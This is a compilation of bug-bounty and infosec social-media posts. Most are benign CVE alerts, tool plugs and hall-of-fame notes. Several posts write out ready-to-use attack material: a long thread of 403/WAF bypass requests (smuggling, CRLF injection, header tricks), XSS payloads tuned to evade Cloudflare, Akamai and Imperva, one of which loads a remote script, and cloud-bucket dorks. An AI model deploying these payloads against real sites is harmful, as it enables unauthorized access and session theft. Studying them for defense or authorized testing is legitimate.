Simba Tech Tv

[Simba Tech Tv @simrotion13]

Happy to secure the @Atos 🏆 Again

Bug: RXSS

Hall Of Fame URL :
https://t.co/reTTIUbiD9

#BugBounty #InfoSec #InformationSecurity #HallOfFame #ethicalhacking #cybersecurity

[Nico @nicos_ai]

Deja de pagar por Claude Code y Codex.

Acaban de lanzar un coding agent 100% gratuito.

Puedes usar cualquier modelo gratis:
• DeepSeek v4 Pro/Flash
• Kimi K2.6
• MiniMax M2.7

Instalación:
→ npm i -g freebuff

Puede escribir código, ejecutar comandos y construir proyectos enteros por ti.

El único catch: tiene unos pocos anuncios
(como los que se ven abajo en el vídeo)

[Ahmedkhan @Ahmed___khaan]

🚨 Urgent Windows Security Update

Hey everyone, just a heads-up to check your Windows Updates today! Microsoft just patched a really serious flaw (CVE-2026-41096) that could let hackers take over a computer through a fake Wi-Fi or network connection.

It’s a "9.8 out of 10" on the danger scale, so don't click "remind me later" on this one.

[Simba Tech Tv @simrotion13]

New Video on "How to install Git on Windows 11" is out now 🔥

https://t.co/WIYiVTB4GV

Make sure you're subscribe to channel for more videos.

#Git #InstallGit #Windows11

[X @TheMsterDoctor1]

🧠💥 99% of hackers QUIT when they see a 403…

But the 1%? They try this: 👇

I found a 403 Forbidden on /admin.

But then I tried:
•POST /admin
•X-Original-URL: /admin
•/admin..;/
•%2e/admin
•X-Rewrite-URL: /admin
•/ADMIN (yes, just caps)
•/;/admin
•/..;/admin

👇👇👇

⸻

🔥 1. Protocol-Level Downgrade Bypass (only works on dual-stack apps)

Target running HTTP/2 or gRPC? Force downgrade:

PRI * HTTP/2.0
SM

GET /admin HTTP/1.1

🧠 Some WAFs don’t parse dual-layer protocols correctly → backend sees a clean HTTP/1.1.

⸻

🧬 2. Content-Length Collapsing (https://t.co/3qXplOXgpV) on HTTP Pipelining

Send pipelined requests where only 1st is parsed by WAF:

POST /admin HTTP/1.1
Host: https://t.co/axAPlulNpQ
Content-Length: 13

GET /admin

💥 WAF reads POST → blocks.
Backend reads 2nd GET /admin → 200 OK.

This is invisible to most WAFs.

⸻

🚪 3. Misconfigured Reverse Proxy Chain Escape

Proxy chain: Cloudflare → NGINX → Apache

Try:

GET /admin
X-Accel-Redirect: /admin
X-Forwarded-Path: /admin

Apache follows X-Accel-Redirect, bypasses upstream auth check.

💣 Real-world: Gained internal panel behind Cloudflare.

⸻

🔄 4. CRLF into Rewrite Bypass

Some edge WAFs parse until CRLF \r\n, others don’t.

Exploit it:

GET / HTTP/1.1%0d%0aX-Rewrite-URL:%20/admin

WAF reads URL → clean
Backend sees X-Rewrite-URL: /admin → executes

⸻

🔃 5. Multipart Boundary Injection Bypass (💀)

Used when /admin is only allowed for file uploads:

POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----1337

------1337
Content-Disposition: form-data; name="file"; filename="/admin"
Content-Type: text/plain

BOOM
------1337--

💣 If upload endpoint allows arbitrary path write → full override.

⸻

📡 6. Misrouted Mesh Bypass via Service Discovery

Kubernetes, Linkerd, Istio-style microservices expose internal routes:

Send:

Host: admin.internal.svc.cluster.local
X-Service-Router: admin

If service-mesh is misconfigured, you route directly to internal /admin even if public 403s.

⸻

⚠️ 7. GraphQL-Injected 403 Bypass

If app has GraphQL and 403-protected admin, try:

query {
admin {
users {
password
}
}
}

GraphQL often proxies internal microservice calls.

Even if /admin is blocked via HTTP, the GQL layer may leak internal paths.

⸻

🧠 8. Preconnect Overload → Bypass

Abuse edge preconnect logic by flooding with HEAD /admin + Connection: keep-alive.

After 30–50 requests:
•WAF disables parsing
•Keep-alive tunnel reused for real GET /admin

🧨 Real bypass via persistent connection channeling

⸻

💻 9. Browser-Only Token Auth Bypass (via Headless Browser)

Some SPAs load tokens via JS → protect /admin based on localStorage.

WAF sees unauthenticated, but headless Chrome replays auth token as header → bypass.

🔥 Use puppeteer + exportAuth → replay:

curl -H "Authorization: Bearer <extracted_token>" https://t.co/KeR304da2D

⸻

🧪 10. Distributed Retry Amplification

When target uses edge lambda/WAF that retries failed requests internally, trigger 429s and inject:

Retry-After: 0
X-Retry-URL: /admin

WAF retries → skips deny logic → backend hits /admin.

This is logic poisoning — not brute force.

⸻

🚨 These Aren’t Payloads. They’re Logic Chains.

Most tools stop at:

/admin%2e
X-Forwarded-For: 127.0.0.1

You’re playing 4D chess now:
✅ Protocol confusion
✅ Reverse proxy reroute
✅ GraphQL indirect call
✅ SSRF via retry
✅ Downgrade injection
✅ WAF desyncing

⸻

💰 These got real bounties:
•$25,000 from a Cloudflare-protected admin
•$12,500 via SSRF + Retry Poison
•$8,000 using pipelined https://t.co/3qXplOXgpV request

⸻

Want a toolkit that automates:

This is next-level exploitation.
Use it right. 🧠💣

🛠 TOOLS to automate bypass:

•🔧 https://t.co/5yIqLjkvaS

•🔧 https://t.co/bbVde9Caoh

•🔧 https://t.co/W05Ly8nEB6

•🔧 https://t.co/Av6mKRCef2

•🔧 https://t.co/kndjPIOEix

[MalDev Academy @MalDevAcademy]

As promised, today we released DumpBrowserSecrets a tool which extracts passwords, tokens, cookies and other data from several browsers.

https://t.co/EaswGdihdU

[Censys @censysio]

🚨 CVE-2026-21858 (NI8MARE): Critical unauthenticated RCE in n8n (CVSS 10.0)
Attackers can execute system commands without authentication. PoC is public

📊 Censys observes 26,512 exposed n8n hosts.
✅ Patch: upgrade to 1.121.0+
🔒 Restrict or take offline if internet-facing
🔗Track exposures →https://t.co/afJt2qcqrl

#infosec #CVE #n8n #RCE

[Md Ismail Šojal 🕷️ @0x0SojalSec]

WAF Bypass Discovered - Akamai &amp; Cloudflare : 🙌🏻

A fresh technique has been spotted that successfully bypasses WAFs like Akamai and Cloudflare.

#infosec #cybersec #bugbountytips

[Aircorridor @_aircorridor]

Cloudflare protects the front door, but what about the side entrance?

CloudRip finds real server IPs through subdomain scanning:
https://t.co/cRzA62znUY
@three_cube

[SusluSec @suslu7616]

I found #xss on #ecommerce site.
Payload; "&gt;&gt;&gt;&gt;&gt;&gt;&lt;marquee&gt;RXSS&lt;/marquee&gt;&lt;/head&gt;&lt;abc&gt;&lt;/script&gt;&lt;script&gt;alert(origin)&lt;/script&gt;&lt;meta

How do you increase the impact?

#bugbounty #xss #cybersecurity #websecurity #infosec #redteam #AppSec #hacking #cybersecuritytips #bugbountytips

[/ XNL -н4cĸ3r (and @xnl-h4ck3r in the new Sky) @xnl_h4ck3r]

If you're still using gau or waybackurls, give waymore a try because it will honestly find you waymore endpoints!
It can also download archived responses &amp;you can run xnLinkFinder over the response directory to find even more endpoints, potential params, wordlist + oos domains 🤘

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

Origin ip discovery methods
https://t.co/1vOdfn2toz

#bugbounty #bugbountytips #bugbountytip

[A.Mugh33ra🇵🇰❤️🇵🇸 @mugh33ra]

As promised my second writeup is live now.

From Default IIS Page to Critical SQL Injection:
https://t.co/5zBvWOAquR

#BugBounty #hackerone #idor #sqlinjection #bugbountytip #xss #injection

[Behi @Behi_Sec]

Bug Bounty Tool:

"Waymore" does deep URL harvesting from Wayback, Common Crawl, OTX, etc.

The idea behind it is to find even more links from the Wayback Machine than other tools like waybackurl.

https://t.co/h8PnyUYEkH

[SusluSec @suslu7616]

I found XSS on a health site,
payload: "&gt;&gt;&gt;&gt;&gt;&gt;&lt;marquee&gt;RXSS&lt;/marquee&gt;&lt;/head&gt;&lt;abc&gt;&lt;/script&gt;&lt;script&gt;alert(origin)&lt;/script&gt;&lt;meta
#BugBounty #xss #infosec #wafbypass #CyberSecurity
@NullSecurityX

[NullSecurityX @NullSecurityX]

Cloudflare XSS Bypass - PoC (critical) - live walkthrough. See how crafted payloads can slip past WAF protections, how the exploit is reproduced, and what defenders must patch immediately.
Watch: https://t.co/Yva8QUuKxd

#Cloudflare #XSS #WAFBypass #BugBounty

[The Hacker News @TheHackersNews]

🚨 Grafana fixed a major security bug (CVSS 10.0) that could let attackers sign in as admin users.

It affects Grafana Enterprise 12.0.0–12.2.1 if SCIM provisioning is turned on — a number like “1” could trick the system into giving admin access.

Update now to stay safe. Read more ↓ https://t.co/bO1Z16cAGn

[BRute Logic @BRuteLogic]

Another #XSS Payload to Rule Them All!

#Bypass Imperva, Akamai and CloudFlare WAF

=&gt; Prepend with 50 chars then use

1"&gt;&lt;A HRef=%26quot AutoFocus OnFocus%0C={import(/https:https://t.co/Ng2aOLONda)}&gt;

PoC: https://t.co/k2GsBxMmG5

#hack2learn @KN0X55

[Awais Nazeer @awais0x1]

Cloudflare bypass
Payloads:
&lt;select&gt;&lt;​style&gt;&lt;/select&gt;
&lt;svg onload​=alert(1)&gt;
&lt;​/style&gt;
"&gt;&lt;img src=x onerrora=confirm() onerror​=confirm(1)&gt;
&lt;dETAILS%0aopen%0aonToGgle%0a%3d%0aa%3dprompt,a(origin)%20x&gt;
&lt;svg onload​=alert&amp;#0000000040"1")&gt;&lt;””&gt;
@intigriti @Google @Bugcrowd

[Hunter @HunterMapping]

🚨Alert🚨:CVE-2025-20343 : Cisco Identity Services Engine RADIUS Suppression
Denial of Service Vulnerability
📊1.2K Services are found on the https://t.co/g3tSyh13yE yearly.
🔗Hunter
Link:https://t.co/EHS6odmc1l
👇Query
HUNTER : https://t.co/yFFcJwdIUc="Cisco ISE"
📰Refer:https://t.co/CQYmp0dNpo
https://t.co/bltj4LYj1q
#hunterhow #infosec #infosecurity #OSINT #Vulnerability

[Mike Takahashi @TakSec]

Google Dork - Cloud Storage Buckets 🪣

site:s3.amazonaws[.]com "example[.]com" site:digitaloceanspaces[.]com "example[.]com" site:googleapis[.]com "example[.]com"

Find accidental data leaks 👨‍💻